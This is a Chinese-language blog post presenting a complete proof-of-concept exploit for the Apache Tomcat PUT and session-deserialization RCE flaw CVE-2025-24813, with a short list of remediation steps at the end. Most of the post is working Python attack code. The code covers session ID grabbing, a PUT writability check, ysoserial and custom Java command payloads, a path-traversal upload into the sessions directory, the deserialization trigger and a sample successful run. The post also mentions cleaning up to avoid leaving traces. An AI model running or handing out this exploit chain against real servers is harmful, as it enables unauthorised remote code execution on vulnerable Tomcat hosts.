python

CVE-2025-24813 Tomcat PUT漏洞POC——反序列化RCE的完整利用链

2026-07-06 #CVE#POC#漏洞利用

本文仅供合法授权的安全研究与学习使用,请勿用于非法用途。读者应确保行为符合当地法律法规。

前言

Apache Tomcat作为全球使用最广泛的Java Web服务器之一,其安全性备受关注。CVE-2025-24813是一个利用Tomcat PUT方法和会话反序列化机制的RCE漏洞。攻击者通过PUT请求将恶意序列化数据上传到会话文件目录,当Tomcat在处理会话时反序列化该文件,便会触发恶意代码执行。

本文基于一个功能完整的POC工具,详细分析从写入检测到Payload生成、上传和触发的完整利用过程。

漏洞背景

属性 详情
CVE编号 CVE-2025-24813
漏洞类型 远程代码执行(RCE)
CVSS评分 8.1(High)
影响组件 Apache Tomcat
漏洞根因 PUT方法写入 + 会话文件反序列化

该漏洞的利用需要满足以下条件:

  1. Tomcat启用了PUT方法(readonly=false
  2. 服务器存在可写的会话文件目录(/uploads/../sessions/
  3. 攻击者能获取或预测有效的Session ID
  4. 服务器classpath中存在可利用的反序列化Gadget链

漏洞的核心原理是:Tomcat的DefaultServletreadonly=false配置下允许PUT请求写入文件。攻击者利用路径穿越/uploads/../sessions/将恶意序列化数据写入会话目录,当Tomcat尝试加载该会话时,会反序列化文件内容,触发Gadget链执行任意命令。

环境搭建

  • 靶机环境:Apache Tomcat(配置readonly=false),classpath中包含Commons Collections等可利用库
  • 攻击环境:Python 3.x + requests库 + Java环境 + ysoserial.jar
  • 依赖工具:ysoserial(用于生成反序列化Payload)

POC/EXP实现思路

POC工具采用分阶段攻击架构,包含以下步骤:

  1. 获取Session ID:访问目标页面获取或使用默认会话ID
  2. 检测PUT可写性:发送测试文件验证服务器是否允许PUT写入
  3. 生成Payload:使用ysoserial或自定义Java类生成序列化攻击载荷
  4. 上传Payload:通过PUT请求将Payload写入会话文件目录
  5. 触发反序列化:发送GET请求携带Session Cookie,触发Tomcat加载并反序列化恶意会话文件

核心代码解析

Session ID获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def get_session_id(target_url, verify_ssl=True):
"""
尝试访问目标URL以获取会话ID。
"""
try:
# 发起HTTP请求获取网页内容
response = requests.get(f"{target_url}/index.jsp", timeout=10, verify=verify_ssl)
# 检查响应中的Cookies是否包含JSESSIONID
if "JSESSIONID" in response.cookies:
return response.cookies["JSESSIONID"]
# 通过正则表达式在网页内容中搜索Session ID
session_id = re.search(r"Session ID: (\w+)", response.text)
if session_id:
return session_id.group(1)
else:
# 如果未找到Session ID,使用默认值
print(f"[-] 在响应中未找到 Session ID。使用默认 Session ID: absholi7ly")
return "absholi7ly"
except requests.RequestException as e:
print(f"[-] 获取 Session ID 时出错: {str(e)}")
sys.exit(1)

get_session_id函数尝试三种方式获取Session ID:从响应Cookie中提取、从页面内容中正则匹配、使用默认值absholi7ly。默认Session ID的设计是为了测试场景中快速使用,实际利用时需要根据目标环境调整。

PUT可写性检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def check_writable_servlet(target_url, host, port, verify_ssl=True):
"""
检查目标URL是否可以通过PUT方法写入。
"""
check_file = f"{target_url}/check.txt"
try:
response = requests.put(
check_file,
headers={
"Host": f"{host}:{port}",
"Content-Length": "10000",
"Content-Range": "bytes 0-1000/1200"
},
data="testdata",
timeout=10,
verify=verify_ssl
)
if response.status_code in [200, 201]:
print(f"[+] 服务器可通过PUT写入: {check_file}")
return True
else:
print(f"[-] 服务器不可写 (HTTP {response.status_code})")
return False
except requests.RequestException as e:
print(f"[-] 检查过程中出错: {str(e)}")
return False

检测函数向目标发送一个PUT请求,尝试写入check.txt文件。请求头中的Content-Range字段是关键——它让Tomcat认为这是一个分块上传请求,从而绕过部分安全限制。HTTP 200/201状态码表示写入成功。

ysoserial Payload生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file):
"""
使用ysoserial生成指定命令的序列化payload。
"""
if not os.path.exists(ysoserial_path):
print(f"[-] 错误: {ysoserial_path} 未找到。")
sys.exit(1)
try:
print(f"[*] 正在为命令生成 ysoserial payload: {command}")
cmd = ["java", "-jar", ysoserial_path, gadget, f"cmd.exe /c {command}"]
with open(payload_file, "wb") as f:
subprocess.run(cmd, stdout=f, check=True)
print(f"[+] Payload 生成成功: {payload_file}")
return payload_file
except (subprocess.CalledProcessError, FileNotFoundError) as e:
print(f"[-] 生成 payload 时出错: {str(e)}")
sys.exit(1)

该函数调用ysoserial.jar生成序列化Payload。默认使用CommonsCollections6 Gadget链,该链兼容性较好,在大多数包含Commons Collections库的环境中都能成功触发。命令通过cmd.exe /c执行,适用于Windows环境。

自定义Java Payload生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def generate_java_payload(command, payload_file):
"""
生成Java类形式的payload。
"""
payload_java = f"""
import java.io.IOException;
import java.io.PrintWriter;

public class Exploit {{
static {{
try {{
String cmd = "{command}";
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
StringBuilder output = new StringBuilder();
while ((line = reader.readLine()) != null) {{
output.append(line).append("\\n");
}}
PrintWriter out = new PrintWriter(System.out);
out.println(output.toString());
out.flush();
}} catch (IOException e) {{
e.printStackTrace();
}}
}}
}}
"""
with open("Exploit.java", "w") as f:
f.write(payload_java)
subprocess.run(["javac", "Exploit.java"], check=True)
subprocess.run(["jar", "cfe", payload_file, "Exploit", "Exploit.class"], check=True)
remove_file("Exploit.java")
remove_file("Exploit.class")

除了ysoserial,POC还支持自定义Java Payload。这种方式不依赖特定Gadget链,而是在static静态代码块中直接调用Runtime.exec()执行命令。生成后打包为JAR文件,利用Java类加载机制触发静态块执行。

Payload上传与触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl=True):
"""
上传payload并验证执行结果。
"""
# 构造路径穿越URL,将Payload写入会话目录
exploit_url = f"{target_url}/uploads/../sessions/{session_id}.session"
try:
with open(payload_file, "rb") as f:
put_response = requests.put(
exploit_url,
headers={
"Host": f"{host}:{port}",
"Content-Length": "10000",
"Content-Range": "bytes 0-1000/1200"
},
data=f.read(),
timeout=10,
verify=verify_ssl
)
# 409状态码表示文件已存在(冲突),说明上传成功
if put_response.status_code == 409:
print(f"[+] Payload 上传成功,状态码 409 (冲突): {exploit_url}")
# 携带Session Cookie发送GET请求,触发反序列化
get_response = requests.get(
target_url,
headers={"Cookie": "JSESSIONID=absholi7ly"},
timeout=10,
verify=verify_ssl
)
# 500状态码表示反序列化触发异常,说明Payload已执行
if get_response.status_code == 500:
print(f"[+] 利用成功!反序列化后服务器返回了 500 状态码。")
return True

这是整个利用链的关键环节。PUT请求将序列化Payload写入/uploads/../sessions/{session_id}.session路径——利用路径穿越从uploads目录跳转到sessions目录。HTTP 409状态码(Conflict)表示目标位置已存在文件,这实际上意味着写入操作已完成。

随后,GET请求携带对应的JSESSIONID Cookie访问目标,Tomcat会尝试加载该会话文件并反序列化内容。如果服务器返回500错误,说明反序列化过程中触发了代码执行(执行过程中产生的异常导致500响应)。

主检测流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def check_target(target_url, command, ysoserial_path, gadget, payload_type, verify_ssl=True):
# 提取主机名和端口号
host = target_url.split("://")[1].split(":")[0] if "://" in target_url else target_url.split(":")[0]
port = target_url.split(":")[-1] if ":" in target_url.split("://")[-1] else "80"

# 获取会话ID
session_id = get_session_id(target_url, verify_ssl)
print(f"[*] 会话ID: {session_id}")

# 检查可写性并执行利用
if check_writable_servlet(target_url, host, port, verify_ssl):
payload_file = "payload.ser"
if payload_type == "ysoserial":
generate_ysoserial_payload(command, ysoserial_path, gadget, payload_file)
elif payload_type == "java":
generate_java_payload(command, payload_file)

if upload_and_verify_payload(target_url, host, port, session_id, payload_file, verify_ssl):
print(f"[+] 目标 {target_url} 存在 CVE-2025-24813 漏洞!")

remove_file(payload_file)

主函数按顺序执行完整的利用流程,并在完成后清理临时Payload文件,避免留下痕迹。

漏洞验证与利用效果

1
python CVE_2025_24813.py http://target:8081 --command calc.exe --payload_type ysoserial

成功输出:

1
2
3
4
5
6
7
8
[*] 会话ID: absholi7ly
[+] 服务器可通过PUT写入: http://target:8081/check.txt
[*] 正在为命令生成 ysoserial payload: calc.exe
[+] Payload 生成成功: payload.ser
[+] Payload 上传成功,状态码 409 (冲突)
[+] 利用成功!反序列化后服务器返回了 500 状态码。
[+] 目标 http://target:8081 存在 CVE-2025-24813 漏洞!
[+] Temporary file removed: payload.ser

修复建议

  1. 禁用PUT方法:确保DefaultServletreadonly参数设为true(默认值)
  2. 限制会话目录访问:配置Web服务器禁止直接访问/sessions/目录
  3. 反序列化过滤:部署Java反序列化过滤器(Serialization Filter),限制可反序列化的类
  4. 移除危险Gadget链:从classpath中移除不必要的Commons Collections等库
  5. WAF规则:拦截包含/uploads/../sessions/路径穿越的请求

总结

CVE-2025-24813展示了PUT方法滥用与反序列化漏洞组合攻击的威力。整个利用链从PUT写入检测到Payload生成、路径穿越上传、最终反序列化触发,每一步都精巧设计。这个POC工具支持ysoserial和自定义Java两种Payload生成方式,提供了灵活的利用选项。从防御角度,禁用PUT方法、限制会话目录访问和部署反序列化过滤器是三项关键防护措施。

评论
分享